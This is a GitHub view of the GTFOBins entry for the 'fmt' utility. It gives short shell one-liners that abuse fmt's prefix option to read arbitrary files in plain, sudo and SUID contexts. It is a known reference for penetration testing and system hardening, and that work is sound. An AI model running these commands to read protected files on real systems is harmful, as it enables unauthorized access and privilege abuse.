GTFOBins.github.io/_gtfobins/fmt.md

18 lines
382 B
Markdown
Raw Normal View History

2018-06-12 16:06:16 +02:00
---
description: |
The read file content is not binary-safe.
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fmt -pNON_EXISTING_PREFIX "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fmt -pNON_EXISTING_PREFIX "$LFILE"
file-read:
- code: |
LFILE=file_to_read
fmt -pNON_EXISTING_PREFIX "$LFILE"
---